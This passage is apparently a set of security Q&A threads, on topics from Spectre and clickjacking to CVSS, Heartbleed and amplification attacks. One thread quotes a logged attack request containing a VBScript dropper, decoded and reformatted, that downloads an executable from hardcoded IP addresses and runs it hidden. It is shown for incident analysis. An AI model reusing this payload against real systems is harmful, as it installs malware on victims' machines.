OS mitigations for Meltdown are not applied
The VM loads a sensitive information in the same process where the untrusted code snippet could run
An attacker can supply some input into any other process (which has a sensitive information in its memory and runs on the same physical system the untrusted code runs on) at the same time while the untrusted code is running, from the untrusted code itself or by any other means, directly or indirectly

If all four conditions above are true, then, theoretically, your VM could be used to extract a sensitive information from your system, based on effects of Spectre and/or Meltdown.

A simple example of a virtual machine which, albeit effectively often running a third-party code, is not exposed to Spectre is the TrueType glyph hinting language VM which doesn't allow threading or instruction timing in any way, thus breaking, at least, the requirement #2.

  An important note on system updates.

  In case of Javascript PoC, Meltdown or Spectre aren't used to read either kernel memory or memory of other processes. They can be, but the main issue with Spectre in Javascript VM is that the VM runs in a sandbox (meant to be isolated and safe before) within a browser process which contains sensitive data (Web site passwords, cookies and so on).

  OS updates (e.g. KPTI for Linux) won't help to mitigate the issue completely, because:

  They target Meltdown while the main issue is Spectre;
  The only thing KPTI guarantees is that a process wouldn't be able to read kernel memory (and memory of other processes mapped into kernel space, via Meltdown only). KPTI doesn't forbid a thread in a process from reading a memory which is, from the operating system point of view, available for the whole process to read, which is the case of passwords and cookies stored in the same browser process a JS sandbox runs in.

Also, to be one hundred per cent accurate, you've asked if "similar mitigations" (to JS VM ones) are needed in VMs for other languages. Please note that a contemporary in-browser JS VM already features an overall well-designed sandbox which has limited access to filesystem, IPC, assembly language, and other system resources. In case your VM (e.g. a V8 JS VM which is shipped with Node.js platform) has more permissions or abilities than an in-browser JS VM has, it may require not similar, but further and more strict mitigations.

As of January, 14, 2018, this is in theory; but your question is also theoretical.


Password manager: master password or not? I use several browsers for several reasons (surfing, downloading files, logging into accounts...) but I prefer Chrome for doing "risky" things like browsing websites which I don't know whether they are safe or not, and I installed several extensions on it to gain a higher safety level: ScriptSafe, Adblock plus and Ghostery. I don't use any sandbox tool.

For I use the same pc and OS to browse the internet and logging into my accounts, I would like to install a password manager to be more safe and I trust it may help if someone enter my system and looks for saved passwords somewhere in my pc.

But let's consider the following scenario: a keylogger attacks me and is able to read what I'm typing on the keyboard; as far as I enter a master password to use my password manager I have to type one.
Well, some password managers allow the password-free authentication option (means you don't have to remember a master password) and for the scenario above it seems to me a safe option.

My question is: while configuring a password manager, is it safer to set the password-free authentication to avoid typing the master password and being vulnerable to keyloggers?
Or should I consider any other threats which make safer setting a master password?

The question of keylogger is a bit out of way with password managers, because once you operate on already compromised system you are not save with basically any operation, some trojans may steal data from forms in the split second managers enter it, they will also most likely save everything you have in your clipboard. Other attack vectors may be taking the password from screenshots...

Basically no password manager can help you if you are on a compromised system, because attacker doesn't need to rely on separate authentication, he can just use you. Compromised system isn't an attack vector a password manager can protect you from (and they aren't designed to).

For the question of which authentication, best option would be a two-factor authentication with password and a confirmation on a separate device, but as most managers won't let you add new device without separate authentication you should be decently safe with a single master password (of course not reused anywhere else...). Biometric authentification on usual user devices isn't very secure, so I wouldn't rely on that in front of a long and secure password.


Why do browsers enforce the same-origin security policy on iframes? I did a small test on Chrome (V37) today. I created a small page and loaded it to the browser:

<!DOCTYPE html>

    <title>Untitled Document</title>

Normal page

Inspecting the console I found this error message:

  Refused to display 'https://security.stackexchange.com/' in a frame because it set 'X-Frame-Options' to 'SAMEORIGIN'.

Why do browsers need to enforce same-origin policy on iframes?

Review: Same-origin policy
First, let's clarify that the behavior observed here (the iframe does not render) is much stricter than the default same-origin policy. If you already understand that, skip down to "What's actually happening," below.
To review, the same-origin policy prevents scripts from having programmatic access to the contents of cross-origin resources. Consider how the same-origin policy applies to various types of resources:

Images: An <img> tag will show a cross-origin image to a user visually, but it will not allow a script to read the image content when loaded into a <canvas> (i.e., toDataURL will fail if the canvas contains any cross-origin images)
Scripts: Cross-origin scripts will run when referenced in a <script> element, but the page can only run the script, not read its contents.
Iframe: Like images, the contents of a framed cross-origin page appear visually to the user, but scripts in the outer framing page are not allowed access to the framed page's contents.

The same-origin policy applies to iframes for the same reason it applies to all other types of resources: the web page being framed (or the image being displayed, or the resource being accessed via Ajax) is fetched using credentials from the resource's own origin (e.g., the HTTP request to fetch a resource from google.com includes my browser's cookies set for google.com). The page that issued the request should not be given read-access to a resource fetched with credentials from a different origin.
What's actually happening: X-Frame-Options
However, the behavior you see here is stricter than the same-origin policy: the framed page is not shown at all. The cross-origin server that hosts the (would-be) framed page requests this blocking behavior by sending an X-Frame-Options response header, which specifies how the page is allowed to be framed.

DENY The page cannot be displayed in a frame, regardless of the site attempting to do so.
SAMEORIGIN The page can only be displayed in a frame on the same origin as the page itself.
ALLOW-FROM uri The page can only be displayed in a frame on the specified origin.

Here, the site sends X-Frame-Options: SAMEORIGIN, which means the site can only be framed by pages with the same origin as the framed page.
From a security standpoint, this is done to prevent clickjacking (also called a "UI redress" attack). In a clickjacking attack, the page displays a click-activated component of another site inside an <iframe> and tricks the user into clicking it (usually by layering the the target component on top of an apparently-clickable feature of the framing site).
For a trivial example, a site might position a transparent <iframe> of http://security.stackexchange.com so that the "log out" link in the framed site was directly over top of a "Click here to claim your free money" button. When viewing the framing page, the user attempts to claim the free money, and suddenly finds himself logged out of Stack Exchange. When http://security.stackexchange.com sends an X-Frame-Options: SAMEORIGIN header, the malicious cross-origin page gets only an empty <iframe> instead; the user doesn't unwittingly click a log-out link because no content from the framed site made it onto the rendered page.
OWASP has a page detailing defenses against clickjacking.


Difference between local and physical attack vector in CVSS version 3? In CVSS version 3, there are four different attack vectors. I am not able to differentiate between local and physical.

Say, if I want to report "absence of logout button" I will use physical as access vector.
In which cases can I use local as access vector? Please try to reference web application based vulnerabilities.

An issue of "absence of logout button" is absolutely not a physical vector. Physical means you have direct physical access to the server, as in you're standing right in front of it. A more appropriate one for "physical" would be a lack of full-disk encryption, since physical access in the context of server theft would result in an attacker getting hold of the data on the disk.

Local means you have a login session to the system. An example of such an issue might be a service binary with poor file permissions, allowing a local privilege escalation.

Adjacent means you're on the same network segment as the server, which is applicable for attacks such as ARP spoofing, where you need to be on the same subnet.

Remote, as the name suggests, is any case where you're on a remote network.

You should keep in mind that CVSS vectors are mostly not tailored for web applications; most if not all of your issues should be marked as remote vector.


What sensitive information can be leaked in a Vim's swap file? Often it occurs that when bulk uploading files somewhere, the author forgets that some of the files are being open by Vim and uploads their swap files as well. Can this leak some sensitive information, perhaps about the author's machine or network?

The vim swap file contains the username of the author, the machine name of the computer where vim is running and some parts of the edited file.

Personally I wouldn't care if someone could read my machine name or username. But I think the bad part is the 'parts of the edited file' part:

While editing a database config file you could potentially leak your credentials. Most systems store this kind of data in secured files and forbid the viewing of this files e.g. by rules in the .htaccess or by using a php file (empty after interpreting). But I've never seen a rule for e.g. 'config.php.swp' file, neither will the php (or any other) interpreter help here. So this file would be viewable in plaintext by the user. That may have consequences.

An  example:
Wordpress can do updates on two ways: either you allow the webserver write access in its folders or you give it a ftp-login for its own webspace. This way Wordpress can update itself over ftp. Wordpress saves this ftp login in the database, and the db credentials is in a file named wp-config.php.

In the worst case someone could view wp-config.php.swp get access to your database and finally get full ftp access to the wordpress instance, only because someone forgot to quit vim properly or is working on this files by change.


Does mysql_escape_string have any security vulnerabilities if all tables using Latin1 encoding? I have heard that the PHP function mysql_escape_string has security vulnerabilities related to mult-byte characters. Are there any vulnerabilities if all tables are using Latin1 encoding?

The issue is that mysql_escape_string() does not check the database for character encoding. As a result mysql_escape_string() would be unaware of your database encoding and may treat multi-byte characters as single byte characters. This could result in the last two bytes being escaped into a reserved character such as ’ as well as countless other character which have special relevance for the SQL engine.

In such a case, the attacker could append additional SQL commands to gain access to data or functions not intended. This is why the function is deprecated and the use of mysql_real_escape_string() is recommended.

mysql_real_escape_string() works almost identically except that it connects to the database to determine what encoding is used by the database, preventing known multi-byte escaping issues.

Also note that mysql_escape_string()  and mysql_real_escape_string()  do not escape the % and _ characters (as per the manual reference http://php.net/manual/en/function.mysql-escape-string.php and http://php.net/manual/en/function.mysql-real-escape-string.php see notes). This could allow access to data that not intended when used with keywords such as LIKE, so special care should be taken.

Update

  So, what encoding does mysql_escape_string assume?

I believe it is ASCII, however I am unable to confirm this. Regardless it makes no difference to the result which is; using Latin1 for database encoding could result in a security vulnerability if not properly encoded.

Also note that this is not just vulnerability with the database. Within the application/server-side script you must be careful when handling input to be aware of how strings are passed from function to function and ensure that correct encoding is preserved. Ideally using UTF-8 end-to-end would be good but not always an option.


Concerned About 'Rerouting' due to RAT If someone uses a RAT or something of the sort to gain access to your computer and network, is it possible for them to reroute their internet access through your I.P.? This question is kinda concerning the larger majority of people who have these types of malicious programs installed on their PC without their knowledge. I'd imagine it could be extremely damaging to have a potential criminal rerouting his network through yours (for obvious reasons).
If anyone could give me an answer to this is would greatly appreciated, and if anyone has any tips on how to tell if someone is 'rerouting' their internet access through yours, that would also be helpful.
Thanks

Routing traffic through a computer is a very simple process that can be done even if the software implementing (it's called a proxy server, by the way) it is not running with specials privileges so the answer is yes. There are some technical complications that might prevent the use of standard software difficult but nothing that cannot be done (and, actually, that is a standard feature

However, asking such a question is similar to wondering if someone who broke into you house could make prank calls to emergency services using your phone: yes, it can be the case but it's hardly the worse of your problems.


Does the ANeko app demonstrate vulnerabilities in the Android architecture? There is an Android app called ANeko, which lets a cute cat run around your screen. The app doesn't require any special permissions. When I first started it, I was frightened for several reasons:

It overpaints the home screen and any other screen with its cute cat icon, which I thought was not possible.
The cat even runs around the login screen, which I thought would be a specially protected area.
The ANeko app receives any touch events from any app, although with coordinates (0.0,0.0).
The ANeko app even receives touch events from the login screen.

Now ANeko is only a toy app, and it seems to do exactly what its code on GitHub says. But who knows whether the binary really corresponds to the code?

Are there any legitimate use cases for these features (overpainting, surveilling touch events)?

How can I, as a normal user, protect myself against all touch events being recorded and analyzed? Since even a video of a chips bag can reveal sound recordings, I think that by recording the timing of the touch events, it might be possible to guess the PIN, or passwords, or typical usage patterns.

The sort of malware you're referring to is commonly known as overlay malware. Some more specific overlay-related attacks are dubbed "Cloak and Dagger"[1], [2] and "Toast"[3], [4].

Here's a short video (1:02) demonstrating how those work in general (mostly just in the way you've mentioned).

Of course, since in a nutshell the malicious frame is just a window floating on top of other windows, there are a lot of seemingly legitimate applications of that: video calls, navigation, notifications and so on. In fact, your poor old desktop OS is (and has always been) also vulnerable to such an attack once you've installed a malicious application.

One step by Google here has been to remove apps requesting unreasonable overlay permissions from Google Play. Also, since Android 8.0, an explicit permission should be granted by user for an application to be allowed to lay on top of other windows, effectively eliminating most of the attack scenarios.

A patch mitigating the latest reincarnation of the attack, the "Toast", has also been backported to some older versions and is featured in the Android security patchset 2017-09-01 for Android versions 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1 and 7.1.2. Whether or not it makes you feel safer is entirely up to you. However, please note that all the Android versions listed above with patch level lower than 2017-09-01 as well as older versions may be still affected at least to some of the attacks.


Finding the type of SSL certificate with cURL This is a part of curl's verbose output when connecting to the HTTPS site of Google.

* Server certificate:
*        subject: C=US; ST=California; L=Mountain View; O=Google Inc; CN=www.google.com
*        start date: 2014-03-12 09:38:30 GMT
*        expire date: 2014-06-10 00:00:00 GMT
*        subjectAltName: www.google.com matched
*        issuer: C=US; O=Google Inc; CN=Google Internet Authority G2
*        SSL certificate verify ok.

From this output is it possible to find out if a website using DV, OV or EV certificates?

I find that it is easy to identify EV certificates as their issuer: field contains either Extended Validation CA or EV CA. But how does one differentiate DV from OV?

You can only make assumptions based on the contents of the Organization field (DV certificate will either have the domain or "Persona Not Validated" in the organization name field)  or in the policy identifier if it is there.  Certificate issuers do not follow any unified scheme to differentiate OV vs DV.  So, with cURL, you will have to do write your own checks of these fields to get a best guess.  More information in this possible duplicate question: How does an end user differentiate between OV and DV certificates?


Is RMI considered untrusted input even with TLS? If an application has an RMI API that's used internally (servers communicating with one another), is the information coming from those calls considered trusted or validation is still required?

I can't find a lot of details online on this. It seems that OWASP mentions it's untrusted, but I don't know how could it be unsafe if it's not publically exposed. Also, every connection is secured with TLS. If it's untrusted, can someone explain why?

Based on gowenfawr's comment and on some input from someone working in security, it seems like RMI is generally considered untrusted unless the connection is always both encrypted and authenticated.


I found a malicious website embedded in Malware spam. What should I do? An email is using social engineering to get users to click on a malicious URL that downloads javascript and then runs malicious code.

Who should I report these malicious URLs to? (Microsoft Security, some Chrome add in vendor, etc)
The email has a header that comes from a specific ISP.  Should I do anything with that?

Do a whois lookup on those domains, and see if you can find the abuse contact for the registrar. You can report it via that address. These may also be legitimate sites that have been hacked, so if it looks like they are you should contact the owners and tell them exactly where the malicious script resides.

You can also report the malware to Google's Badware page, which they can then use to prevent other users from accidentally getting exploited by the domain. Google also do a good job of researching these sites and often get a quicker result than you could yourself, since they have the right contacts.


Is there any security risk with adding a **root's** public key to the local user's authorized_keys (so root to login as a user non-interactively?) Background:
I want to try unprivileged lxc containers a try on my small web server (hosting 2-4 users). Since the server is shared among friends, we decided to separate our services from the machine using lightweight containers. We envision that each user will run a host of unprivileged containers for each service of his with an option, that selected services/lxc containers will be started upon system start.
Under normal circumstances, one would simply use setuid and setgid stanza to run lxc containers in context of each user. Unfortunately it doesn't work; I suspect it has something to do with the subuid requirements of the unprivileged containers. Commands such as sudo -u <user> -- lxc-autostart or su -l <user> -c lxc-autostart may not change the subuid properties of the calling entity (which is root in case of upstart).
So far, the only way of calling unprivileged containers from another account I found is by means of ssh <user>@localhost lxc-autostart.
The question rephrased
I can put such invocation on upstart script, but for it to work I need to generate public certificate for root, and ensure that <user> will accept automatic logging from upstarts' root. Is it secure?
The host is 64bit Ubuntu 14.04; it already uses ssh. As for Ubuntu's best practices, there is no password for root and root has empty .ssh/authorized_keys.
No <user> with automatic lxc containers uses ecryptfs (A.K.A. encrypted home), since it would be useless anyway on such setup.

No, for the following reason: root could patch sshd to always try root's authorized_keys file as well as its own.

Of course if root's private key gets stolen you have a bad day. Don't allow that. You would be much happier if root's private key only exists in /root on the server.

If someone can become root they can steal it but that's of no account because they can do far worse. For example, patch sshd to take a hardcoded authorized key for any account.


suspicious http request in logs I found this request in my Ubuntu 14.04 apache2 access.log:

xxx.228.207.244 - - [25/Sep/2014:17:52:03 -0400] "GET /?search==%00{.exec|cmd.exe+%2Fc+echo%3E22222.vbs+dim+wait%2Cquit%2Cout%3ASet+xml%3DCreateObject%28%22Microsoft.XMLHTTP%22%29%3ASet+WshShell+%3D+Wscript.CreateObject%28%22WScript.Shell%22%29+%3ADS%3DArray%28%22123.108.109.100%22%2C%22123.108.109.100%3A53%22%2C%22123.108.109.100%3A443%22%2C%22178.33.196.164%22%2C%22178.33.196.164%3A53%22%2C%22178.33.196.164%3A443%22%29%3Afor+each+Url+in+DS%3Await%3Dtrue%3Aquit%3Dfalse%3AD%28Url%29%3Aif+quit+then%3Aexit+for%3Aend+if%3Anext%3ASub+D%28Url%29%3Aif+IsObject%28xml%29%3Dfalse+then%3ASet+xml%3DCreateObject%28%22Microsoft.XMLHTTP%22%29%3Aend+if+%3Axml.Open+%22GET%22%2C%22http%3A%2F%2F%22%5E%26Url%5E%26%22%2Fgetsetup.exe%22%2CTrue%3Axml.OnReadyStateChange%3DGetRef%28%22xmlstat%22%29%3Aout%3DNow%3Axml.Send%28%29%3Awhile%28wait+and+60%5E%3Eabs%28datediff%28%22s%22%2CNow%2Cout%29%29%29%3Awscript.sleep%281000%29%3Awend%3AEnd+Sub%3Asub+xmlstat%28%29%3AIf+xml.ReadyState%5E%3C%5E%3E4+Then%3Aexit+sub%3Aend+if%3Await%3Dfalse%3Aif+xml.status%5E%3C%5E%3E200+then%3Aexit+sub%3Aend+if%3Aquit%3Dtrue%3Aon+error+resume+next%3Aset+sGet%3DCreateObject%28%22ADODB.Stream%22%29%3AsGet.Mode%3D3%3AsGet.Type%3D1%3AsGet.Open%28%29%3AsGet.Write+xml.ResponseBody%3AsGet.SaveToFile+%22ko.exe%22%2C2%3AEnd+sub%3AWshShell.run+%22ko.exe%22%2C0%2C0%3ASet+fso+%3DCreateObject%28%22Scripting.Filesystemobject%22%29+%3Afso.DeleteFile%28WScript.ScriptFullName%29+%26+cscript+22222.vbs.} HTTP/1.1" 200 9975 "-" "-"

My questions are:

What does this script do?
Why was the result code 200?
Are there actions I should take?

Formatted a little, the request looks like:

xxx.228.207.244 - - [25/Sep/2014:17:52:03 -0400]
"GET /?search==%00
{
.exec|cmd.exe /c echo>22222.vbs dim wait,quit,out:
Set xml=CreateObject("Microsoft.XMLHTTP"):
Set WshShell = Wscript.CreateObject("WScript.Shell") :
DS=Array("123.108.109.100","123.108.109.100:53","123.108.109.100:443","178.33.196.164","178.33.196.164:53","178.33.196.164:443"):
for each Url in DS:
    wait=true:
    quit=false:
    D(Url):
    if quit then:
        exit for:
    end if:
    next:
    Sub D(Url):
    if IsObject(xml)=false then:
        Set xml=CreateObject("Microsoft.XMLHTTP"):
    end if :
    xml.Open "GET","http://"^&Url^&"/getsetup.exe",True:
    xml.OnReadyStateChange=GetRef("xmlstat"):
    out=Now:
    xml.Send():
    while(wait and 60^>abs(datediff("s",Now,out))):
    wscript.sleep(1000):
    wend:
    End Sub:
    sub xmlstat():

    If xml.ReadyState^<^>4 Then:
        exit sub:
    end if:

    wait=false:

    if xml.status^<^>200 then:
        exit sub:
    end if:

    quit=true:
    on error resume next:
    set sGet=CreateObject("ADODB.Stream"):
    sGet.Mode=3:
    sGet.Type=1:
    sGet.Open():
    sGet.Write xml.ResponseBody:
    sGet.SaveToFile "ko.exe",2:
    End sub:
    WshShell.run "ko.exe",0,0:
    Set fso =CreateObject("Scripting.Filesystemobject") :
    fso.DeleteFile(WScript.ScriptFullName) & cscript 22222.vbs.
}
HTTP/1.1" 200 9975 "-" "-"

(Feel free to correct my formatting)

The HTTP request is for / (the index page of your webserver) with a query string of "search=<chunk of VBscript>"

If you've got a vulnerable webserver (I don't know what makes a webserver vulnerable, but the "%00" in the URL makes me think it's related to inconsistent handling of null bytes), the script attempts to download and run "getsetup.exe", which is presumably a rootkit or other exploit.  In this case, the result of "200" means you just got owned.

If your webserver isn't vulnerable, this is just an ordinary request for the index page, with a query that's completely ignored.  In this case, the result of "200" means your webserver is functioning normally.

You're running Apache on Ubuntu.  Since this exploit only affects IIS on Windows, you can ignore it.


how to monitor / know what information is transferred in cookies? If cookies store an unique ID to track the user on server-side and the content of this cookies is transmitted to the web site owner, how can I monitor / know what type of information are they collecting ? I have EditThisCookie installed but other than the cookie flags and some random string number (is it the unique ID?) I cannot find really useful / human readable information.

how can I monitor / know what type of information are they collecting

Not at all. Since the information that is actually associated to you is stored server-side, you simply have no way of knowing.

The only thing you see is this cookie, which is really nothing but an ID to know that you are you.

So, there's no human-readable information in the cookie, because it typically only stores some session ID.

You can, from the existence of a cookie, however, infer that the server is capable of tracking which sites on that server you've accessed. This gets a lot more involved as soon as there's, for example, advertisement or content-delivery networks involved. Whilst you see multiple, different cookies that belong to different domains/servers, behind the scenes, these servers will be collaborating to "piece together" a more comprehensive picture of your e.g. surfing behaviour.

Facebook is a prime example. There's many sites that embed some Facebook widgets on their pages. Now, Facebook knows what site their widget is embedded in, and can track you, because you've got a facebook cookie (at the very least from the moment you've logged in) and are connecting to Facebook's servers to get the widget's content. Now, Facebook gets a history of all pages with embedded facebook widgets you're visiting.

Google ads, doubleclick etc aren't any less tracking. I'd recomment the excellent Privacy Badger extension that tries to (heuristically) figure out which servers use cookies to identify you across different websites and (semi)automatically blocks cookies or loading content from these servers.


Has The IE8 XSS Filter XSS Flaw Been Fixed? You may remember: X-XSS-Protection: 0

http://hackademix.net/2009/11/21/ies-xss-filter-creates-xss-vulnerabilities/

Has this been fixed in IE8? IE9? IE10? Is it implemented in IE7?

The XSS Filter is implemented in IE8 and above.  The issue was addressed in IE8 in MS10-002, prior to the release of IE9 & IE10.


How can I make payments on the Internet without leaving a money trail? For someone who values anonymity and privacy, what is the recommended way to pay on the Internet?

Example: To buy a domain or a VPN or another service

I know that we can use cryptocurrencies, but at some point, you need to buy cryptocurrency using a traditional currency.

To protect your privacy and avoid tracking, nothing beats cash.

There are various services that let you purchase credits in cash at a brick and mortar store, which you can then later use to purchase goods and services online.

One example is paysafecard (I haven't tried it, but you should also be able to buy bitcoin with cash). There are a number of VPN providers which accept these payments.

Alternatively, you could simply purchase your VPN access directly offline at a store.

There are also domain registrars which accept these payment methods, but most will ask for identifying information (name, address, etc) when registering a domain. So if you want to conform with registrars TOS, registering a domain anonymously wouldn't be possible. You can hide your information from third parties by requesting that your registrar doesn't disclose the information, violate the TOS by providing false information (not recommended), or find a registrar or third party service that does not request this information.


Partitioning database to enhance security/anonymity? The goal here is to prevent identification of the users and their data. Is it a good idea to partition my database into multiple ones, one for each kind of sensitive data, hiding the links between them?

At first it seems that the answer is yes, because an attacker would need to gain access to all databases (potentially served from different servers/VMs/containers) in order to build the relationships between data and users, and identify them.

Of course doing so adds a lot of complexity to the application layer so I wonder if this is a good idea at all.

EDIT: here is a more concrete example.

The project is a website. The application code runs on server A. Connections are done from the application to databases db1, db2 and db3, respectively on hosts B, C and D. No encryption at all (excepts passwords of course). The application code holds credentials for all three databases. So I do have a "security bottleneck" and it's server A. Besides, relationships between data are not stored in a separate database, but splitted in the three databases.

Is this bad design? Would I be better off setting up

only one database (in server E) and strictly securing server A and E? or
another database to hold the links between data, to delay furthermore possible identification of users?

Other solutions to consider?

Would any of this even be useful considering server A is a single point of failure / security bottleneck?

The entity being able to combine the data later will probably be your "security" bottleneck.

You can of course have a relationship:

       user
     /      \
    A        B

and hope that an attacker only gains access to A or B or potentially even BOTH but somebody somehow needs to have knowledge about how to piece this together again and that's where your bottleneck is going to be. However, let's say that someone manages to attack your bottleneck, they might only be able to retrieve the linking of datasets to users but not necessarily gain access to the data itself. Let's say you have
three servers A,B and R where A,B store raw data and R stores the relationships. How would you do access control? Would you encrypt the data so that only the user himself can decrypt the information and piece it together? A and B don't know who you are so you can't really do access control on those data sets because if you store WHO has access to what data on A and B you're already linking it to a user again.

How does your application then access the data? Do you need to run computation on the data? How do you do that if you don't know the relationships?

For me... this is just way too broad. You might get a meaningful answer for a specific scenario but probably not in the generic case.


Analyzing SSL encryption I have to analyze SSL encryption in my test network and want to prove the transported data is encrypted. What methods can I use to prove encryption is in place?

If you just want to see that a SSL handshake occurs, just use a network monitor tool, like the aptly named Network Monitor from Microsoft. It will show you the details of the SSL handshake (see this answer for some details on the SSL handshake). Of course, at some point, data encryption begins, and you will then only see "encrypted application data", which is what you wanted.


What can I do with the removed Masterkey? I intend to start using GnuPG respective mail encryption with GnuPG. So I created a key pair with a short expiry date to gain some understanding.

I read some stuff about removing the secret masterkey from the keyring and just work with subkeys. After doing this (following some explanations in two blogs) I still have a question.

If I just remove the secret-masterkey and my PC gets stolen or something, then what can I actually do with only the secret-masterkey? I think I can revoke the subkeys, but can I create a new public-key and public-subkeys with the secret-key?

Or: is the idea doing a backup of the ~/.gnupg folder and removing the secret masterkey from the PC afterwards? So in case the PC gets stolen I still have all the keys for revocation?

The idea behind an offline OpenPGP primary (master) key is that an attacker getting access to your computer will not be able to perform key management operations (creating/revoking new user IDs and subkeys, revoking your key, certifying other's keys). Furthermore, the primary key is the target of certifications between keys -- if you lose it (have to revoke it), you lose all connections in the web of trust. The primary private key is the most important entity in OpenPGP, and should protected accordingly. By removing the primary private key, you reduce the key's exposition to possible attacks, as it during the time the attacker has access to the computer.

Some people go even further and put the primary private key on a separate, dedicated machine not connected to any network, which further prevents attacks to this air-gapped computer.

  If I just remove the secret-masterkey and my PC gets stolen or something, then what can I actually do with only the secret-masterkey? I think I can revoke the subkeys, but can I create a new public-key and public-subkeys with the secret-key?

There is no reason of not putting a public key next to the private key. In fact, the OpenPGP standard does not even consider private keys without the public keys stored together (OpenPGP smart cards are an exception here). Also make sure to have a backup of the private key, of course (which should be kept separately, but with the same security level as the private key itself)!

  Or: is the idea doing a backup of the ~/.gnupg folder and removing the secret masterkey from the PC afterwards? So in case the PC gets stolen I still have all the keys for revocation?

This seems like the most reasonable way to go, but keep the backup safe. If the PC gets stolen/compromised/..., you can still revoke the primary key itself, or only rotate the subkeys (which is much easier to handle in terms of key management).

I for myself created the primary key on my old laptop, which is also used to create the subkeys and has all of them. This old laptop has the secret key imported and ready-to-use in the GnuPG keyring, but is not used for any other work but key management and certifications. For the daily-use machines, I export the respective secret subkeys individually as required.

A revocation key is readily available at several places, among them my daily-use laptop. The worst thing that might happen is the key gets revoked, but no further damage can be performed while I have additional protection against loss of the primary private key without being able to revoke it on the key servers.


Difference between Amplification and Reflection Attack? Reflection Attack: Reflection attacks are attacks that use the same protocol in both directions. The attacker spoofs the victim’s IP address and sends a request for information via UDP to servers known to respond to that type of request. The server answers the request and sends the response to the victim’s IP address.
Amplification Attack: Amplification attacks generate a high volume of packets to flood the target website without alerting the intermediary, by returning a large reply to a small request.

I got that Reflection attack Generate request to some servers and reflect those reply to the victims IP. But what I don't understand is, from the definition of Amplification attack it seems almost like Reflection attack.

So my question is, what's the core difference between Amplification and Reflection attack?

For your information, it is not similar as dns reflection attack vs DNS amplification attack because I am asking in terms of DOS not specifically DNS which makes it much broader than that question.

TL;DR: amplification attack is a reflection attack where the reply is larger than the the request.

Reflection attack is if the reply is send back to the claimed origin of the request. With a spoofed source IP the attacker can make the reflecting server send the reply to the selected victim.

Amplification is if the reply is larger then the request. An amplification attack is a kind of reflection attack, where the attacker sends a small request with a spoofed source IP address and then this results in a big (i.e. amplified) reply to the claimed source of the request, i.e. the victim. By using this amplification an attacker can use few resources to attack a large target - the higher the amplification factor is the less resources are needed by the attacker.

A currently widely discussed amplification attack is using an insecure setup of memcached and due to the protocol spoken by memcached in can result in an amplification factor of about 50.000. See Memcrashed - Major amplification attacks from UDP port 11211 for more details. Other protocols used in the past for amplification attacks were for example NTP or DNS.


Login details security using salt and hash, and a login role in postgresql I am coding up the security for a website in express.js and postgresql database. Now I have been reading about salting and hashing and I have the code set up with pbkdf2 using the crypto module, but my issue is how I will structure the account table in the database.

Should I create a login role which will have an MD5 encrypted format for the password, which will be the derived key from the salt and hash "procedure"? Would that be overkill?

There will be a table which will be as follows: UID (the ID from the login role), SALT , HASH and also the login role.

So on a try for authentication, the code will try to login as that role, first by getting the assosiated UID, generating the salt and hashed password for the password provided and auth on a DB level.

Hope I am making some sense.

   var usrSalt = crypto.randomBytes('128').toString('base64');
   //text , salt ,iterations , keylen , callback
   crypto.pbkdf2(usr, usrSalt, 10000, 512, function (err, derivedKey) {
       if (err) { console.log(err); }
       else {
           usr = derivedKey;
           next();
       }
   });

P.S. Would a pgcrypto module be better again in the same scenario, just by removing the code on node.js.

The most common pattern for web applications is for the application to authenticate using a role account, and then to perform user authentication against the database.  I would not grant individual user accounts access to the database -- consider the case where your database is inadvertently exposed to the internet.  Do you want user credentials to be usable in that case?  (It is slightly better in the case you've described, where they're derived from some PBKDF2 function.)

Your web application will require a role account in any case: it will need to register new users, retrieve the per-user salt for the PBKDF2 operation, and (depending on the application) need to perform operations for anonymous users.


What should end-users do about Heartbleed? What should a website operator do about the Heartbleed OpenSSL exploit? mainly talks about what people running websites should do about Heartbleed.

What should end-users of websites be doing?

Do they need to change their passwords?

If so, should they be logging into websites and changing passwords immediately? Or should they wait until their websites have changed their sites to be more secure, and then change their passwords?

(I'm https://security.stackexchange.com/users/8335/andrew-grimm , but posting as a guest, because I'm not already logged in, wordpress openID isn't working, and I don't want to use a password just after Heartbleed has been announced)

End users should just wait until their sysadmins contact them with further instructions. At some point, after your sysadmins have patched vulnerable systems, you may have to:

Change passwords
Login again (because all session keys and cookies need to be invalidated)
Help senior management evaluate the actual content handled by the vulnerable servers that could have been leaked, and react accordingly.

I expect that the massive key/certificate changes about to occur will go un-noticed by most users, as those take place server-side. As to the client-side root CA trusted certs, I expect that the private key counterparts will reside on air-gapped systems, and so won't have been vulnerable to this exploit. Any updates to certificate stores that are necessary will probably just occur transparently in background updates.

I summarized the bullet points above from heartbleed.com (emphasis mine):

  What is leaked primary key material and how to recover?

  These are the crown jewels, the encryption keys themselves. Leaked
  secret keys allows the attacker to decrypt any past and future traffic
  to the protected services and to impersonate the service at will. Any
  protection given by the encryption and the signatures in the X.509
  certificates can be bypassed. Recovery from this leak requires
  patching the vulnerability, revocation of the compromised keys and
  reissuing and redistributing new keys. Even doing all this will still
  leave any traffic intercepted by the attacker in the past still
  vulnerable to decryption. All this has to be done by the owners of the
  services.

  What is leaked secondary key material and how to recover?

  These are for example the user credentials (user names and
  passwords) used in the vulnerable services. Recovery from this leaks
  requires owners of the service first to restore trust to the service
  according to steps described above. After this users can start
  changing their passwords and possible encryption keys according to the
  instructions from the owners of the services that have been
  compromised. All session keys and session cookies should be invalided
  and considered compromised.

  What is leaked protected content and how to recover?

  This is the actual content handled by the vulnerable services. It
  may be personal or financial details, private communication such as
  emails or instant messages, documents or anything seen worth
  protecting by encryption. Only owners of the services will be able to
  estimate the likelihood what has been leaked and they should notify
  their users accordingly. Most important thing is to restore trust to
  the primary and secondary key material as described above. Only this
  enables safe use of the compromised services in the future.

  What is leaked collateral and how to recover?

  Leaked collateral are other details that have been exposed to the
  attacker in the leaked memory content. These may contain technical
  details such as memory addresses and security measures such as
  canaries used to protect against overflow attacks. These have only
  contemporary value and will lose their value to the attacker when
  OpenSSL has been upgraded to a fixed version.


Purpose of certificates signed and trusted by CA Another newbie question but I just don't get the purpose of certificates signed and trusted by CA. We already have public/private keys, hash functions to sign/encrypt messages so why do we  need certificates?

— Hello, I'm Facebook. Trust me, now type your Facebook password.

Ok, so you have the public key of a website. And that website declares that it is Facebook. How do you know that this is really “the” Facebook, and not some Facebook impersonator?

When your browser visits https://www.facebook.com/, it retrieves not just a public key, but a public key certificate. Rendered in English, that certificate says roughly (in a way that is cryptographically verified):

I call myself facebook.com, and this is my website.
Verisign has verified that I have some right to the name facebook.com.

